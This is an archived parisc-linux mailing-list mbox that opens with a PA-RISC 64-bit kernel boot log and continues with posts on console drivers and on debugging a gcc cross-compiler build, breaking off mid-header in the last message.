0/palo-cmdline '0/vmlinux HOME=/ TERM=linux root=/dev/nfs nfsroot=15.8.81.247:/tftpboot/hppa64 '
Kernel: partition 0 file /vmlinux
ELF64 executable

Entry 00100000 first 00100000 n 4
Segment 0 load 00100000 size 1612264 mediaptr 0x1000
Segment 1 load 0028a000 size 386608 mediaptr 0x18b000
Segment 2 load 002ec000 size 124944 mediaptr 0x1ea000
Segment 3 load 0030c000 size 16384 mediaptr 0x209000
branching to kernel entry point 0x00100000
Set default PSW W bit to 1
PDC Console Initialized
The 64-bit Kernel has started...
Enabled FP coprocessor
If this is the LAST MESSAGE YOU SEE, you're probably using
32-bit millicode by mistake.
Free memory starts at: 0xc035a000
PALO command line: 'HOME=/ TERM=linux root=/dev/nfs nfsroot=15.8.81.247:/tftpboot/hppa64 '
PALO initrd 0-0
model   00005cb0 00000491 00000000 00000001 23355fdc 100000f0 00000008 000000b2 000000b2
vers    00000300
cpuid   0000022a
CPUID vers 17 rev 10
CPU might be a PA8500 (PCX-W)
CPU(s): 1 x PA8500 (PCX-W) at 440.000000 MHz
Searching for devices in PDC firmware... processor hpa 0xfffffffffffa0000
CELL_GET_NUMBER: 0x0 0x1
PAT_ENTITY_PROC: id_eid 0xa0ff0000
PAT_ENTITY_PROC: id_eid 0xa2ff0000
PAT_ENTITY_MEM: amount 0x10000000 min_gni_base 0x0 min_gni_len 0x0
PAT_ENTITY_SBA: ranges 6 0: 0xc000000000000005 0xfffffffffed18000 0xfffffffffed2ffff
 1: 0x8000000000000000 0x0 0x3f
 2: 0x8000000000000001 0xfffffffff8000000 0xfffffffffbffffff
 3: 0x40000001a1701 0xfffffffff0000000 0xfffffffff7ffffff
 4: 0x40000001a1701 0xfffffffffc000000 0xfffffffffecfffff
 5: 0x8000000000000002 0xfffffff800000000 0xfffffffbffffffff

PAT_ENTITY_LBA: ranges 4 0: 0x8000000000000000 0x0 0x7
 1: 0x8000000000000001 0xfffffffff8000000 0xfffffffff87fffff
 2: 0x8000000000000002 0xfffffff804000000 0xfffffff87fffffff
 3: 0x8000000000000004 0xfffffff800000000 0xfffffff803ffffff

PAT_ENTITY_LBA: ranges 4 0: 0x8000000000000000 0x10 0x17
 1: 0x8000000000000001 0xfffffffff9000000 0xfffffffff97fffff
 2: 0x8000000000000002 0xfffffff904000000 0xfffffff97fffffff
 3: 0x8000000000000004 0xfffffff900000000 0xfffffff903ffffff

PAT_ENTITY_LBA: ranges 4 0: 0x8000000000000000 0x20 0x27
 1: 0x8000000000000001 0xfffffffffa000000 0xfffffffffa7fffff
 2: 0x8000000000000002 0xfffffffa04000000 0xfffffffa7fffffff
 3: 0x8000000000000004 0xfffffffa00000000 0xfffffffa03ffffff

PAT_ENTITY_LBA: ranges 4 0: 0x8000000000000000 0x30 0x37
 1: 0x8000000000000001 0xfffffffffb000000 0xfffffffffb7fffff
 2: 0x8000000000000002 0xfffffffb04000000 0xfffffffb7fffffff
 3: 0x8000000000000004 0xfffffffb00000000 0xfffffffb03ffffff

Found devices:
1. Crescendo 440 (0) at 0xfffffffffffa0000, versions 0x5cb, 0x0, 0x4, 0x0, 0x91
2. Crescendo 440 (0) at 0xfffffffffffa2000, versions 0x5cb, 0x0, 0x4, 0x0, 0x91
3. Crescendo Memory (1) at 0xfffffffffed08000, versions 0x9b, 0x0, 0x9, 0x0, 0x0
4. Astro BC Runway Port (12) at 0xfffffffffed00000, versions 0x582, 0x0, 0xb, 0x0, 0x10
5. Elroy PCI Bridge (13) at 0xfffffffffed30000, versions 0x782, 0x0, 0xa, 0x0, 0x0
6. Elroy PCI Bridge (13) at 0xfffffffffed34000, versions 0x782, 0x0, 0xa, 0x0, 0x0
7. Elroy PCI Bridge (13) at 0xfffffffffed38000, versions 0x782, 0x0, 0xa, 0x0, 0x0
8. Elroy PCI Bridge (13) at 0xfffffffffed3c000, versions 0x782, 0x0, 0xa, 0x0, 0x0
That's a total of 8 devices.
Linux version 2.4.0-test6 (grundler@hpisp747) (gcc version 2.96 20000925 (experimental)) #53 Fri Oct 13 18:02:03 PDT 2000
free_bootmem(0x35a200, 0xca5e00)
initrd: 00000000-00000000
pagetable_init
On node 0 totalpages: 4096
zone(0): 2048 pages.
zone(1): 2048 pages.
zone(2): 0 pages.
Kernel command line: HOME=/ TERM=linux root=/dev/nfs nfsroot=15.8.81.247:/tftpboot/hppa64 
trap_init
Calibrating delay loop... 878.18 BogoMIPS
Memory: 12344k available
Dentry-cache hash table entries: 2048 (order: 3, 32768 bytes)
Buffer-cache hash table entries: 512 (order: 0, 4096 bytes)
Page-cache hash table entries: 4096 (order: 3, 32768 bytes)
Inode-cache hash table entries: 1024 (order: 2, 16384 bytes)
POSIX conformance testing by UNIFIX
lba version TR4.0 (0x5) found at 0xfffffffffed30000
lba_fixup_bus(0x00000000c0fe2180) bus 0 sysdata 0x00000000c0fe71e0
lba version TR4.0 (0x5) found at 0xfffffffffed34000
lba_fixup_bus(0x00000000c0fe2280) bus 16 sysdata 0x00000000c0fe73a0
lba version TR4.0 (0x5) found at 0xfffffffffed38000
lba_fixup_bus(0x00000000c0fe2380) bus 32 sysdata 0x00000000c0fe7460
lba version TR4.0 (0x5) found at 0xfffffffffed3c000
lba_fixup_bus(0x00000000c0fe2480) bus 48 sysdata 0x00000000c0fe7560
lba_fixup_bus(0x00000000c0fe2580) bus 49 sysdata 0x00000000c0fe7560
lba_fixup_bus(0x00000000c0fe2680) bus 50 sysdata 0x00000000c0fe7560
SBA found Astro 2.1 at 0xfffffffffed00000
() ibase 0x1 imask 0xff000000
() base_addr fffffffffed3c000
() base_addr fffffffffed38000
() base_addr fffffffffed34000
() base_addr fffffffffed30000
() done
lba: lba_bios_init
Linux NET4.0 for Linux 2.4
Based upon Swansea University Computer Society NET3.039
NET4: Linux TCP/IP 1.0 for NET4.0
IP Protocols: ICMP, UDP, TCP
IP: routing cache hash table of 256 buckets, 4Kbytes
TCP: Hash tables configured (established 512 bind 512)
Starting kswapd v1.7
pty: 256 Unix98 ptys configured
lp: driver loaded but no devices found
RAMDISK driver initialized: 16 RAM disks of 4096K size 1024 blocksize
sym53c8xx: at PCI bus 0, device 2, function 0
sym53c8xx: at PCI bus 0, device 2, function 1
sym53c8xx: at PCI bus 0, device 1, function 0
sym53c8xx: at PCI bus 0, device 1, function 1
sym53c8xx: at PCI bus 32, device 0, function 0
sym53c8xx: setting PCI_COMMAND_IO PCI_COMMAND_MEMORY...
sym53c8xx: setting PCI_COMMAND_MASTER PCI_COMMAND_PARITY...(fix-up)
sym53c8xx: changing PCI_LATENCY_TIMER from 0 to 80.

************* SYSTEM ALERT **************
SYSTEM NAME: uninitialized
DATE: 10/14/2000 TIME: 01:20:38
ALERT LEVEL: 7 = reserved

REASON FOR ALERT
SOURCE: 0 = unknown, no source stated
SOURCE DETAIL: 0 = unknown, no source stated   SOURCE ID: FF
PROBLEM DETAIL: 0 = no problem detail

LEDs:  RUN      ATTENTION     FAULT     REMOTE     POWER
       FLASH    FLASH         FLASH     OFF        ON
LED State: Unexpected Reboot. Running non-OS code. Non-critical error detected.
Check Chassis and Console Logs for error messages.

0x0000007000FF6292 00000000 00000000 - type  0 = Data Field Unused
0x5800087000FF6292 00006409 0E011426 - type 11 = Timestamp 10/14/2000 01:20:38
A: ack read of this entry - X: Disable all future alert messages
Anything else skip redisplay the log entry
->Choice:X
*****************************************

CAUTION: System Alerts have been disabled. This will re-enable with 
a re-boot or power-on of the system. To re-enable system alerts now, you
may use the AC (Alert Display Configuration) command.

************* SYSTEM ALERT **************
Alert messages are now disabled. Enter Commands Interface AC command to enable them again
*****************************************


From - Thu Nov 08 21:13:40 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Jason Eckhardt <jason@equator.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Qn on Linux/PA-RISC future Console driver
Date: Wed, 7 Apr 1999 11:05:39 -0700 (PDT)
Lines: 23
Approved: news@gmane.org
Message-ID: <199904071805.LAA22267@gatekeeper.equator.com>
NNTP-Posting-Host: plane.gmane.org
X-Trace: ger.gmane.org 1416619179 4423 80.91.229.3 (22 Nov 2014 01:19:39 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:19:39 +0000 (UTC)
To: kumar@ix.netcom.com, parisc-linux@thepuffingroup.com
Original-X-From: jason@gatekeeper.equator.com  Wed Apr  7 14:07:23 1999
Original-Received: from mailserv2.iuinc.com (qmailr@mailserv2.iuinc.com [206.245.164.55])
	by sod.res.cmu.edu (8.8.7/8.8.7) with SMTP id OAA11926
	for <parisc-linux@sod.res.cmu.edu>; Wed, 7 Apr 1999 14:07:22 -0400
Original-Received: (qmail 13230 invoked by uid 15267); 7 Apr 1999 18:06:52 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 13220 invoked from network); 7 Apr 1999 18:06:51 -0000
Original-Received: from gatekeeper.equator.com (jason@204.137.130.1)
  by mailserv2.iuinc.com with SMTP; 7 Apr 1999 18:06:51 -0000
Original-Received: (from jason@localhost)
	by gatekeeper.equator.com (8.9.1a/8.9.1) id LAA22267;
	Wed, 7 Apr 1999 11:05:39 -0700 (PDT)
Xref: news.gmane.org gmane.linux.ports.parisc:8111


>
> Hi,
> 	Has anyone done some work on Linux/PA-RISC Console driver.
> 	Are we planning to use PDC for console or is it possible
> 	to directly access Console device. 
>

  I believe HP-UX uses the STI ROM interface rather than going
  through the IODC interface (i.e. like the bootstrap), although an HP person
  can tell us positively.
  It doesn't seem we could get very good performance through IODC console calls
  due to the setup involved when calling it from an virtually addressed OS 
  (switching to real mode, etc). Also, I believe that IODC is not re-entrant.
  I don't know if the STI ROM has the same restrictions.
  
  It would be nice to have direct access to the console device (although it
  is more work), but as of
  yet we have no console device-specific documentation (or even the STI ROM
  i/f for that matter).

  Jason.


From - Thu Nov 08 21:13:40 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Brian Poole <raj@cerias.purdue.edu>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Troubles following the 'recipe'
Date: Sat, 14 Oct 2000 00:50:16 -0500 (EST)
Lines: 38
Approved: news@gmane.org
Message-ID: <Pine.SOL.4.10.10010132356161.22986-100000@basm.cerias.purdue.edu>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
X-Trace: ger.gmane.org 1416619180 4425 80.91.229.3 (22 Nov 2014 01:19:40 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:19:40 +0000 (UTC)
To: parisc-linux@thepuffingroup.com
Original-X-From: raj@cerias.purdue.edu  Fri Oct 13 23:49:07 2000
Original-Received: from mailserv2.iuinc.com (IDENT:qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.9.3/8.9.3) with SMTP id XAA07615
	for <parisc-linux@puffin.external.hp.com>; Fri, 13 Oct 2000 23:49:06 -0600
Original-Received: (qmail 26450 invoked by uid 15267); 14 Oct 2000 05:50:20 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 26435 invoked from network); 14 Oct 2000 05:50:19 -0000
Original-Received: from basm.cerias.purdue.edu (128.10.243.21)
  by mailserv2.iuinc.com with SMTP; 14 Oct 2000 05:50:19 -0000
Original-Received: from localhost (raj@localhost)
	by basm.cerias.purdue.edu (8.9.3+Sun/8.9.3) with ESMTP id AAA12469
	for <parisc-linux@thepuffingroup.com>; Sat, 14 Oct 2000 00:50:16 -0500 (EST)
Xref: news.gmane.org gmane.linux.ports.parisc:8112

Hello,

I was looking to test Linux out and see how it was going towards
supporting my poor old HP9000 715/80 that I have here, however I seem to
have some trouble compiling the toolchain as described in the 'recipe' and
would like to ask for some assistance if possible.

I have followed the instructions very closely, deviating only twice in
areas which I can't see affecting my problem. The first was to add -j 2
to the make commands to help speed it up on my systems, as both are SMP.
The other was to grab nfsroot-latest.tar.gz instead of 
nfsroot-20000214.tar.gz, mainly becuase that file no longer exists (might
need to update the recipe?). However as I hadn't reached anything to do
with the nfsroot yet, I deem this inconsquential as well.

So what is the problem? Well, a while (hard to say exactly, one is a
dual 500, the other is a dual 100, big difference in times ;) into the
building of gcc both of my machines error out, complaining that they can't
find some header files. Specifically it errors out while compiling
iogetline.c, complaining that it can't find errno.h (from
../../../gcc/libio/libioP.h:30:19), _G_config.h 
(../../../gcc/libio/libio.h:30:23) and string.h 
(../../../gcc/libio/iogetline.c:27:20). The errors are the same for each
machine. I downloaded all of the files today, October 13th.

Hopefully I am just doing something obviously wrong that someone could
point out to me and I can proceed happily along. Both systems have
working compilers & libraries, one is a SuSE 6.3 install and the other is
Slackware 7.1. I can provide tons more information if it is desired, tried
to just give the information that looked relevant. Or if this is a
waste of time and I should just stop trying to compile my own and grab the
binaries (which I just noticed were also available) please tell me.


Thanks for the time,

-b


From - Thu Nov 08 21:13:40 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Alan Modra <alan@linuxcare.com.au>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Troubles following the 'recipe'
Date: Sat, 14 Oct 2000 18:50:46 +1100 (EST)
Lines: 17
Approved: news@gmane.org
Message-ID: <Pine.LNX.4.21.0010141708500.10656-100000@front.linuxcare.com.au>
References: <Pine.SOL.4.10.10010132356161.22986-100000@basm.cerias.purdue.edu>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
X-Trace: ger.gmane.org 1416619180 4428 80.91.229.3 (22 Nov 2014 01:19:40 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:19:40 +0000 (UTC)
Cc: parisc-linux@thepuffingroup.com
To: Brian Poole <raj@cerias.purdue.edu>
Original-X-From: alan@linuxcare.com.au  Sat Oct 14 01:49:50 2000
Original-Received: from mailserv2.iuinc.com (IDENT:qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.9.3/8.9.3) with SMTP id BAA18375
	for <parisc-linux@puffin.external.hp.com>; Sat, 14 Oct 2000 01:49:49 -0600
Original-Received: (qmail 22469 invoked by uid 15267); 14 Oct 2000 07:51:02 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 22455 invoked from network); 14 Oct 2000 07:51:00 -0000
Original-Received: from linuxcare.com.au (HELO front.linuxcare.com.au) (203.29.91.49)
  by mailserv2.iuinc.com with SMTP; 14 Oct 2000 07:51:00 -0000
Original-Received: from localhost (alan@localhost)
	by front.linuxcare.com.au (8.9.3/8.9.3/Debian 8.9.3-21) with ESMTP id SAA15659;
	Sat, 14 Oct 2000 18:50:46 +1100
In-Reply-To: <Pine.SOL.4.10.10010132356161.22986-100000@basm.cerias.purdue.edu>
Xref: news.gmane.org gmane.linux.ports.parisc:8113

On Sat, 14 Oct 2000, Brian Poole wrote:

> find some header files. Specifically it errors out while compiling
> iogetline.c, complaining that it can't find errno.h (from
> ../../../gcc/libio/libioP.h:30:19), _G_config.h 
> (../../../gcc/libio/libio.h:30:23) and string.h 
> (../../../gcc/libio/iogetline.c:27:20). The errors are the same for each
> machine. I downloaded all of the files today, October 13th.

Can you show the command line that failed here?  If you followed the
recipe, then you should have configured gcc with --prefix=$DEST, and have 
$DEST/include/errno.h on your system.

-- 
Linuxcare.  Support for the Revolution.



From - Thu Nov 08 21:13:41 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Brian Poole <raj@cerias.purdue.edu>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Troubles following the 'recipe'
Date: Sat, 14 Oct 2000 15:10:26 -0500 (EST)
Lines: 34
Approved: news@gmane.org
Message-ID: <Pine.SOL.4.10.10010141453400.22986-100000@basm.cerias.purdue.edu>
References: <Pine.LNX.4.21.0010141708500.10656-100000@front.linuxcare.com.au>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
X-Trace: ger.gmane.org 1416619180 4432 80.91.229.3 (22 Nov 2014 01:19:40 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:19:40 +0000 (UTC)
Cc: parisc-linux@thepuffingroup.com
To: Alan Modra <alan@linuxcare.com.au>
Original-X-From: raj@cerias.purdue.edu  Sat Oct 14 14:09:25 2000
Original-Received: from mailserv2.iuinc.com (IDENT:qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.9.3/8.9.3) with SMTP id OAA23603
	for <parisc-linux@puffin.external.hp.com>; Sat, 14 Oct 2000 14:09:25 -0600
Original-Received: (qmail 20300 invoked by uid 15267); 14 Oct 2000 20:10:36 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 20291 invoked from network); 14 Oct 2000 20:10:35 -0000
Original-Received: from basm.cerias.purdue.edu (128.10.243.21)
  by mailserv2.iuinc.com with SMTP; 14 Oct 2000 20:10:35 -0000
Original-Received: from localhost (raj@localhost)
	by basm.cerias.purdue.edu (8.9.3+Sun/8.9.3) with ESMTP id PAA25287;
	Sat, 14 Oct 2000 15:10:26 -0500 (EST)
In-Reply-To: <Pine.LNX.4.21.0010141708500.10656-100000@front.linuxcare.com.au>
Xref: news.gmane.org gmane.linux.ports.parisc:8114

> Alan Modra wrote..
> Can you show the command line that failed here? If you followed the

Sure. The exact command that this output came from was..

make -j2 LIBGCC2_INCLUDES=-I$DEST/include

And I configured it as per the recipe with..

../gcc/configure --target=hppa1.1-linux --prefix=$DEST --host=$MACH
--disable-nls --without-libc

which according to configure configured gcc as..

../gcc/configure
--with-gcc-version-trigger=/home/raj/parisc/gcc/gcc/version.c
--target=hppa1.1-linux --prefix=/usr/parisc --host=i386-linux
--disable-nls --without-libc --norecursion

> recipe, then you should have configured gcc with --prefix=$DEST, and have 
> $DEST/include/errno.h on your system.

Indeed, I noted this myself, was wondering why it had not found headers
that I should have. The errno.h header is in fact in $DEST/include,
checked then and just checked again.

However doesn't prefix indicate where it is installing to, and not where
it is reading from for it's includes, or am I missing something? 


Thanks for the help,

-b


From - Thu Nov 08 21:13:41 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "John David Anglin" <dave@hiauly1.hia.nrc.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Troubles following the 'recipe'
Date: Sat, 14 Oct 2000 16:26:06 -0400 (EDT)
Lines: 18
Approved: news@gmane.org
Message-ID: <200010142026.QAA01645@hiauly1.hia.nrc.ca>
References: <Pine.SOL.4.10.10010132356161.22986-100000@basm.cerias.purdue.edu>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=US-ASCII
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416619181 4436 80.91.229.3 (22 Nov 2014 01:19:41 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:19:41 +0000 (UTC)
Cc: parisc-linux@thepuffingroup.com
To: raj@cerias.purdue.edu (Brian Poole)
Original-X-From: dave@hiauly1.hia.nrc.ca  Sat Oct 14 14:25:06 2000
Original-Received: from mailserv2.iuinc.com (IDENT:qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.9.3/8.9.3) with SMTP id OAA24145
	for <parisc-linux@puffin.external.hp.com>; Sat, 14 Oct 2000 14:25:05 -0600
Original-Received: (qmail 30320 invoked by uid 15267); 14 Oct 2000 20:26:19 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 30311 invoked from network); 14 Oct 2000 20:26:19 -0000
Original-Received: from hiauly1.hia.nrc.ca (132.246.100.193)
  by mailserv2.iuinc.com with SMTP; 14 Oct 2000 20:26:19 -0000
Original-Received: (from dave@localhost)
	by hiauly1.hia.nrc.ca (8.9.3/8.9.3) id QAA01645;
	Sat, 14 Oct 2000 16:26:07 -0400 (EDT)
In-Reply-To: <Pine.SOL.4.10.10010132356161.22986-100000@basm.cerias.purdue.edu> from "Brian Poole" at Oct 14, 2000 00:50:16 am
X-Mailer: ELM [version 2.4 PL25]
Xref: news.gmane.org gmane.linux.ports.parisc:8115

> So what is the problem? Well, a while (hard to say exactly, one is a
> dual 500, the other is a dual 100, big difference in times ;) into the
> building of gcc both of my machines error out, complaining that they can't
> find some header files. Specifically it errors out while compiling
> iogetline.c, complaining that it can't find errno.h (from
> ../../../gcc/libio/libioP.h:30:19), _G_config.h 
> (../../../gcc/libio/libio.h:30:23) and string.h 
> (../../../gcc/libio/iogetline.c:27:20). The errors are the same for each
> machine. I downloaded all of the files today, October 13th.

Run the failing compilation with the gcc `-v' option to see the include search
directories.

Dave
-- 
J. David Anglin                                  dave.anglin@nrc.ca
National Research Council of Canada              (613) 990-0752 (FAX: 952-6605)


From - Thu Nov 08 21:13:41 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Brian Poole <raj@cerias.purdue.edu>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Troubles following the 'recipe'
Date: Sat, 14 Oct 2000 16:18:56 -0500 (EST)
Lines: 41
Approved: news@gmane.org
Message-ID: <Pine.SOL.4.10.10010141601190.22986-100000@basm.cerias.purdue.edu>
References: <200010142026.QAA01645@hiauly1.hia.nrc.ca>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
X-Trace: ger.gmane.org 1416619181 4439 80.91.229.3 (22 Nov 2014 01:19:41 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:19:41 +0000 (UTC)
Cc: parisc-linux@thepuffingroup.com
To: John David Anglin <dave@hiauly1.hia.nrc.ca>
Original-X-From: raj@cerias.purdue.edu  Sat Oct 14 15:17:50 2000
Original-Received: from mailserv2.iuinc.com (IDENT:qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.9.3/8.9.3) with SMTP id PAA24699
	for <parisc-linux@puffin.external.hp.com>; Sat, 14 Oct 2000 15:17:50 -0600
Original-Received: (qmail 29811 invoked by uid 15267); 14 Oct 2000 21:19:03 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 29804 invoked from network); 14 Oct 2000 21:19:03 -0000
Original-Received: from basm.cerias.purdue.edu (128.10.243.21)
  by mailserv2.iuinc.com with SMTP; 14 Oct 2000 21:19:03 -0000
Original-Received: from localhost (raj@localhost)
	by basm.cerias.purdue.edu (8.9.3+Sun/8.9.3) with ESMTP id QAA27904;
	Sat, 14 Oct 2000 16:18:56 -0500 (EST)
In-Reply-To: <200010142026.QAA01645@hiauly1.hia.nrc.ca>
Xref: news.gmane.org gmane.linux.ports.parisc:8116

On Sat, 14 Oct 2000, John David Anglin wrote:
> 
> Run the failing compilation with the gcc `-v' option to see the include search
> directories.
> 

Ah this seems to yield a bit more light..

It ignores about 8 non-existent dirs.. 
(I've added BDIR=/home/raj/parisc/gcc-build to help shorten my typing.. no
mouse. DEST is still /usr/parisc :)

$DEST/hppa1.1-linux/bin/include
$DEST/hppa1.1-linux/lib/include
$DEST/hppa1.1-linux/include
$BDIR/lib/gcc-lib/hppa1.1-linux/2.96/include
$BDIR/hppa1.1-linux/sys-include
$BDIR/hppa1.1-linux/include
$DEST/hppa1.1-linux/sys-include
$DEST/hppa1.1-linux/include

then outputs..

#include "..." search starts here:
#include <...> search starts here:
 .
 ../../../gcc/libio
 $BDIR/gcc/include
 $DEST/lib/gcc-lib/hppa1.1-linux/2.96/include

Well now, it doesn't seem to be reading $DEST/include, why is it not?
Seems strange that I be the only one to encounter this problem, given
the same set of simple instructions. As well, how do I fix this? 

In the Makefile under gcc-build it lists the includedir=${prefix}/include
and prefix as /usr/parisc, which looks correct.. ideas?

Thanks again,

-b


From - Thu Nov 08 21:13:41 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "John David Anglin" <dave@hiauly1.hia.nrc.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Troubles following the 'recipe'
Date: Sat, 14 Oct 2000 17:30:39 -0400 (EDT)
Lines: 38
Approved: news@gmane.org
Message-ID: <200010142130.RAA07016@hiauly1.hia.nrc.ca>
References: <Pine.SOL.4.10.10010141601190.22986-100000@basm.cerias.purdue.edu>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=US-ASCII
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416619181 4442 80.91.229.3 (22 Nov 2014 01:19:41 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:19:41 +0000 (UTC)
Cc: parisc-linux@thepuffingroup.com
To: raj@cerias.purdue.edu (Brian Poole)
Original-X-From: dave@hiauly1.hia.nrc.ca  Sat Oct 14 15:29:31 2000
Original-Received: from mailserv2.iuinc.com (IDENT:qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.9.3/8.9.3) with SMTP id PAA25224
	for <parisc-linux@puffin.external.hp.com>; Sat, 14 Oct 2000 15:29:31 -0600
Original-Received: (qmail 4698 invoked by uid 15267); 14 Oct 2000 21:30:42 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 4688 invoked from network); 14 Oct 2000 21:30:42 -0000
Original-Received: from hiauly1.hia.nrc.ca (132.246.100.193)
  by mailserv2.iuinc.com with SMTP; 14 Oct 2000 21:30:42 -0000
Original-Received: (from dave@localhost)
	by hiauly1.hia.nrc.ca (8.9.3/8.9.3) id RAA07016;
	Sat, 14 Oct 2000 17:30:40 -0400 (EDT)
In-Reply-To: <Pine.SOL.4.10.10010141601190.22986-100000@basm.cerias.purdue.edu> from "Brian Poole" at Oct 14, 2000 04:18:56 pm
X-Mailer: ELM [version 2.4 PL25]
Xref: news.gmane.org gmane.linux.ports.parisc:8117

> Ah this seems to yield a bit more light..
> 
> It ignores about 8 non-existent dirs.. 
> (I've added BDIR=/home/raj/parisc/gcc-build to help shorten my typing.. no
> mouse. DEST is still /usr/parisc :)
> 
> $DEST/hppa1.1-linux/bin/include
> $DEST/hppa1.1-linux/lib/include
> $DEST/hppa1.1-linux/include
> $BDIR/lib/gcc-lib/hppa1.1-linux/2.96/include
> $BDIR/hppa1.1-linux/sys-include
> $BDIR/hppa1.1-linux/include
> $DEST/hppa1.1-linux/sys-include
> $DEST/hppa1.1-linux/include
> 
> then outputs..
> 
> #include "..." search starts here:
> #include <...> search starts here:
>  .
>  ../../../gcc/libio
>  $BDIR/gcc/include
>  $DEST/lib/gcc-lib/hppa1.1-linux/2.96/include
> 
> Well now, it doesn't seem to be reading $DEST/include, why is it not?
> Seems strange that I be the only one to encounter this problem, given
> the same set of simple instructions. As well, how do I fix this? 
> 
> In the Makefile under gcc-build it lists the includedir=${prefix}/include
> and prefix as /usr/parisc, which looks correct.. ideas?

Did you install gcc?  The include paths are a bit different if it isn't
installed.

-- 
J. David Anglin                                  dave.anglin@nrc.ca
National Research Council of Canada              (613) 990-0752 (FAX: 952-6605)


From - Thu Nov 08 21:13:41 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: David Huggins-Daines <dhd@linuxcare.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Troubles following the 'recipe'
Date: 14 Oct 2000 18:00:56 -0400
Organization: Linuxcare, Inc.
Lines: 30
Approved: news@gmane.org
Message-ID: <87pul36q1z.fsf@linuxcare.com>
References: <Pine.SOL.4.10.10010141453400.22986-100000@basm.cerias.purdue.edu>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416619182 4443 80.91.229.3 (22 Nov 2014 01:19:42 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:19:42 +0000 (UTC)
Cc: Alan Modra <alan@linuxcare.com.au>, parisc-linux@thepuffingroup.com
To: Brian Poole <raj@cerias.purdue.edu>
Original-X-From: dhd@linuxcare.com  Sat Oct 14 16:00:14 2000
Original-Received: from mailserv2.iuinc.com (IDENT:qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.9.3/8.9.3) with SMTP id QAA25752
	for <parisc-linux@puffin.external.hp.com>; Sat, 14 Oct 2000 16:00:13 -0600
Original-Received: (qmail 23588 invoked by uid 15267); 14 Oct 2000 22:01:28 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 23571 invoked from network); 14 Oct 2000 22:01:26 -0000
Original-Received: from port-30.ottawa4.achilles.net (HELO tarwebok) (209.151.2.129)
  by mailserv2.iuinc.com with SMTP; 14 Oct 2000 22:01:26 -0000
